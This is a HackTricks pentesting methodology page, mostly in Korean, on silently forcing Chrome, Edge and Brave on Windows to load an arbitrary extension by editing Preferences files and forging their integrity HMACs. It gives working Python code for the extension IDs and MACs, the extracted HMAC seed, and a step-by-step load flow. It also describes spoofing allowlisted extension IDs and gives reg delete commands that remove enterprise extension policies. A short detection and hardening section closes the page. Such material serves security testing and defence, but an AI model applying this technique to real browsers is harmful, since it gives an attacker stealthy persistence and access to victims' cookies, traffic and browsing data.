hacktricks/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md

11 KiB
Raw Blame History

Forced Extension Load & Preferences MAC Forgery (Windows)

{{#include ../../banners/hacktricks-training.md}}

Overview

Windows에서 Chromium 기반 브라우저의 사용자의 Preferences/Secure Preferences 파일을 편집하고 수정된 노드에 대해 유효한 HMACs를 위조하여 임의의 extension을 강제로 로드하는 stealthy post-exploitation technique. Chrome/Chromium, Edge, Brave에서 동작함. 게시 시점에 Chromium 130부터 139까지에서 적용되는 것으로 관찰됨. 피해자 프로필에 대한 단순한 disk write primitive만 있으면 command-line flags나 user prompts 없이 full-privileged extension을 영구화할 수 있음.

Key idea: Chromium은 사용자별 extension 상태를 JSON preferences 파일에 저장하고 HMAC-SHA256으로 보호한다. 브라우저에 내장된 seed로 유효한 MACs를 계산해 주입한 노드 옆에 기록하면 브라우저는 이를 수락하고 extension 항목을 활성화한다.

Where extension state lives (Windows)

  • Nondomainjoined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Domainjoined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
  • extensions.settings.<extension_id> → extension 항목의 embedded manifest/metadata
  • protection.macs.extensions.settings.<extension_id> → 해당 JSON blob의 HMAC
  • Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MACsigned for unpacked extensions to activate

Simplified schema (illustrative):

{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

참고:

  • Edge/Brave도 유사한 구조를 유지합니다. protection seed 값은 달라질 수 있습니다(일부 빌드에서는 Edge/Brave가 null/other seed를 사용하는 것으로 관찰됨).

Extension IDs: path vs key 및 결정론적으로 만들기

Chromium은 확장 프로그램 ID를 다음과 같이 도출합니다:

  • 패키지된/서명된 확장: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
  • 압축 해제된(manifest에 key 없음): ID = SHA256 over the absolute installation path bytes → map 0f to ap

호스트 간에 안정적인 ID를 유지하려면, manifest.json의 "key" 아래에 고정된 base64 DER public key를 삽입하세요. ID는 설치 경로 대신 이 key에서 파생됩니다.

결정론적 ID와 키 쌍을 생성하는 헬퍼:

import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

생성된 공개 키를 manifest.json에 추가하여 ID를 고정하세요:

{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium는 각 노드의 "path" + 직렬화된 JSON 값에 대해 HMACSHA256을 적용해 preferences를 보호한다. HMAC 시드는 브라우저의 resources.pak에 내장되어 있으며 Chromium 139까지 유효했다.

GRIT pak_util로 시드를 추출하고 시드 컨테이너(file id 146 in tested builds)를 찾아라:

python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

MACs (대문자 16진수)를 다음과 같이 계산:

ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

간단한 Python 예제:

import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

구현 팁

  • Chromium이 MAC을 계산할 때 사용하는 JSON 직렬화를 정확히 사용하세요(실무에서는 공백 없는 compact JSON이 안전합니다; 키 정렬은 순서 문제 회피에 도움이 될 수 있습니다).
  • Chromium ≥134에서는 extensions.ui.developer_mode가 존재하고 서명되어 있어야 하며, 그렇지 않으면 unpacked 항목이 활성화되지 않습니다.

Endtoend silent load flow (Windows)

  1. 결정론적 ID를 생성하고 manifest.json에 "key"를 삽입하세요; 원하는 권한(service worker/content scripts)을 가진 unpacked MV3 확장팩을 준비합니다.
  2. manifest와 Chromium이 요구하는 최소 설치 메타데이터(state, path for unpacked, etc.)를 포함하여 extensions.settings.를 생성합니다.
  3. resources.pak (file 146)에서 HMAC seed를 추출하고 두 개의 MAC를 계산합니다: 하나는 settings 노드용, 다른 하나는 extensions.ui.developer_mode용 (Chromium ≥134).
  4. 조작한 노드와 MAC들을 대상 프로필의 Preferences/Secure Preferences에 기록하세요; 다음 실행 시 선언된 모든 권한으로 확장팩이 자동 활성화됩니다.

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

노이즈가 많은 대체 방법: 명령줄 로딩

Chromium ≥137부터, --load-extension은 다음도 함께 전달해야 합니다:

--disable-features=DisableLoadExtensionCommandLineSwitch

이 접근법은 널리 알려져 있으며 모니터링됩니다(예: EDR/DFIR; Chromeloader 같은 commodity malware에서 사용됨). Preference MAC forging은 더 은밀합니다.

Related flags and more crossplatform tricks are discussed here:

{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md {{#endref}}

운영 영향

일단 수락되면, 확장 프로그램은 선언된 권한으로 실행되어 DOM 접근, 요청 가로채기/리디렉션, 쿠키/스토리지 접근 및 스크린샷 캡처를 가능하게 합니다 — 사실상 브라우저 내 코드 실행과 영구적인 사용자 프로필 유지가 이루어집니다. Preferences를 통한 활성화가 데이터 기반으로 이루어지기 때문에 SMB 또는 기타 채널을 통한 원격 배포도 간단합니다.

탐지 및 강화

  • Preferences/Secure Preferences에 쓰기 작업을 수행하는 nonChromium 프로세스를 모니터링하세요, 특히 protection.macs 엔트리와 짝을 이루는 extensions.settings 아래의 새로운 노드들
  • extensions.ui.developer_mode의 예기치 않은 토글과 HMAC 유효하지만 승인되지 않은 확장 항목에 대해 경보를 생성하세요
  • 변조 여부를 확인하기 위해 HKCU/HKLM Software\Policies를 감사하세요; 장치 관리/Chrome Browser Cloud Management를 통해 정책을 강제하세요
  • 확장 ID만으로 일치시키는 allowlists보다 검증된 퍼블리셔의 스토어에서의 forcedinstall을 선호하세요

참고자료

{{#include ../../banners/hacktricks-training.md}}